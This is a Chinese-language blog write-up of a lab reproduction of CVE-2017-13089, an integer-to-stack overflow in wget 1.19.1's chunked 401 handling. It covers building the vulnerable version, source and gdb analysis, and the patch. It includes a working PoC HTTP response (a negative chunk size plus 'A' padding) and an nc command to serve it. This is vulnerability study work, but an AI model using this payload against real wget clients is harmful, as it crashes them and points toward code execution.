CVE-2017-13089 wget 栈溢出漏洞复现

2020-03-20 约 579 字 预计阅读 3 分钟

声明:本文 【CVE-2017-13089 wget 栈溢出漏洞复现】 由作者 H4lo 于 2020-03-20 09:56:37 首发 先知社区 曾经 浏览数 166 次

感谢 H4lo 的辛苦付出!

前言

参考网上的一篇文章教程,复现了一下 wget 1.19.1 组件版本的的一个栈溢出漏洞。漏洞的成因是由于对响应包处理不当导致的整数溢出,进而导致栈溢出。

环境准备

sudo apt-get install libneon27-gnutls-dev
wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
tar zxvf wget-1.19.1.tar.gz

编译

cd wget-1.19.1/
mkdir build/ & ./configure --prefix=$PWD/build/
make -j8

安装

安装好的二进制文件是存放在 --prefix 变量值的 bin/ 目录下:

sudo make install
cd build/

漏洞触发

该版本漏洞是由于 wget 组件在处理 401 状态码的数据响应包时,没有对读取的包做正负检查,导致的整数栈溢出。我们先触发一下这个漏洞。

1 . 建立 poc 文件

➜  wget_sof cat poc 

HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-0xFFFFF000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0

2 . nc 监听端口

➜  wget_sof nc -lp 12667 < poc

3 . wget 触发漏洞

可以看到,wget 在 12667 端口处触发了栈溢出漏洞,导致程序服务 crach:

漏洞分析

接着对漏洞点进行静态和动态分析。

静态分析

前文说了漏洞点是由于对 401 数据响应包的处理不当导致的,准确的说是由于 wget 在处理响应包时,对每个包进行分块之后,错误的将一个负数与整数进行比较,得到的负数的值作为内存复制函数的 len。

首先搜索 skip_short_body 函数,进入 src/http.c 源代码中进行分析:

➜  wget-1.19.1 grep -rnl "skip_short_body" *                       
build/bin/wget
ChangeLog
src/http.c
src/http.o
src/wget

跟踪到 src/http.c 文件的 3493 行,在这里会判断 wget 请求返回回来的 http 状态码,当状态码是 401(未认证)时会触发下面的 if 判断:

if (statcode == HTTP_STATUS_UNAUTHORIZED)
    {
      /* Authorization is required.  */
      uerr_t auth_err = RETROK;
      bool retry;
      if(warc_enabled){
        ......        # 判断是否 content-type 为 WARC 

      }else
        {
          /* Since WARC is disabled, we are not interested in the response body.  */
          if (keep_alive && !head_only
              && skip_short_body (sock, contlen, chunked_transfer_encoding))
            CLOSE_FINISH (sock);
          else
            CLOSE_INVALIDATE (sock);
        }

    }
  • HTTP_STATUS_UNAUTHORIZED 的定义:
#define HTTP_STATUS_UNAUTHORIZED          401

因为这里的 content-type 不是 warc,所以会进入 else 分支,以此判断 keep_alivehead_only,接着调用 skip_short_body 这个函数,这里传入了三个参数,第一个参数 sock 的描述符,后面两个参数不重要。

跟进函数 skip_short_body

static bool
skip_short_body (int fd, wgint contlen, bool chunked)
{
  enum {
    SKIP_SIZE = 512,                /* size of the download buffer */
    SKIP_THRESHOLD = 4096        /* the largest size we read */
  };
  wgint remaining_chunk_size = 0;
  char dlbuf[SKIP_SIZE + 1];
  dlbuf[SKIP_SIZE] = '\0';        /* so DEBUGP can safely print it */

  /* If the body is too large, it makes more sense to simply close the
     connection than to try to read the body.  */
  if (contlen > SKIP_THRESHOLD)
    return false;

  while (contlen > 0 || chunked)
    {
      int ret;
      if (chunked)
        {
          if (remaining_chunk_size == 0)
            {
              char *line = fd_read_line (fd);
              char *endl;
              if (line == NULL)
                break;

              remaining_chunk_size = strtol (line, &endl, 16);
              xfree (line);

              if (remaining_chunk_size == 0)
                {
                  line = fd_read_line (fd);
                  xfree (line);
                  break;
                }
            }

          contlen = MIN (remaining_chunk_size, SKIP_SIZE);
        }

      DEBUGP (("Skipping %s bytes of body: [", number_to_static_string (contlen)));

      ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);

首先函数通过 sock 获取到 line 的指针: char *line = fd_read_line (fd);也就是 http 响应包的响应体的指针

接着调用 strtol 函数,将 line 变量指向的值转换为整数值(remaining_chunk_size 变量),接着通过 MIN (remaining_chunk_size, SKIP_SIZE); 得到真正的响应体的长度 contlen。

  • MIN 的定义,取长度小的作为 contlen 的值:
# define MIN(a,b) ((a) < (b) ? (a) : (b))

之后调用了 fd_read 函数,将响应体的内容复制到栈中,长度即为 contlen 变量的值。

fd_read 函数封装了 sock_read 函数

int
fd_read (int fd, char *buf, int bufsize, double timeout)
{
  struct transport_info *info;
  LAZY_RETRIEVE_INFO (info);
  if (!poll_internal (fd, info, WAIT_FOR_READ, timeout))
    return -1;
  if (info && info->imp->reader)
    return info->imp->reader (fd, buf, bufsize, info->ctx);
  else
    return sock_read (fd, buf, bufsize);
}

sock_read 函数调用了 read 函数,在这里触发了栈溢出:

static int
sock_read (int fd, char *buf, int bufsize)
{
  int res;
  do
    res = read (fd, buf, bufsize);
  while (res == -1 && errno == EINTR);
  return res;
}

动态分析

使用 gdb 进行动态调试:

gdb ./wget
set args 127.0.0.1:12667
b skip_short_body

将断点下在 skip_short_body 函数入口,在执行完 fd_read_line 函数后,观察寄存器,返回值 line 的值为 -0xFFFFF000 的指针:

往下,接着会调用 strtol 函数,第一个为 line 的值,第二个参数为栈上的变量,第三个参数为长度:

执行完 strtol 函数之后,会将返回值赋值给 remaining_chunk_size 变量,此时这个变量的值为 0xffffffff00001000

pwndbg> i reg rax
rax            0xffffffff00001000       -4294963200

通过代码 contlen = MIN (remaining_chunk_size, SKIP_SIZE); 进行比较,得到的 contlen 变量的值为 0x1000。

SKIP_SIZE 的定义:

  • 这里将一个负数与整数相比较,返回的值就是 0x1000。

接着调用到 fd_read 函数,这个函数的第三个参数就是 contlen 的值,大小为 0x1000。

跟进函数,fd_read 里面封装了 sock_read 函数:

跟进之后发现,这个函数里调用了 read 函数,将 sock 通道里的内容(也就是 AAAA...)复制到栈空间上:

因为这个值太大,导致了栈溢出。填充后不会使得当前 fd_read 函数崩溃,而会溢出到了 skip_short_body 这个函数的栈空间,覆盖了栈的返回地址,导致程序崩溃:

漏洞补丁

更新的补丁将 strtol 函数的返回值 remaining_chunk_size 变量的值进行是否为负数的判断,如果是负数的话就之后 return False 从而防止整数的溢出。

参考文章

https://mp.weixin.qq.com/s/3rBfUnRiFoe-0w2C9JqwZw

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now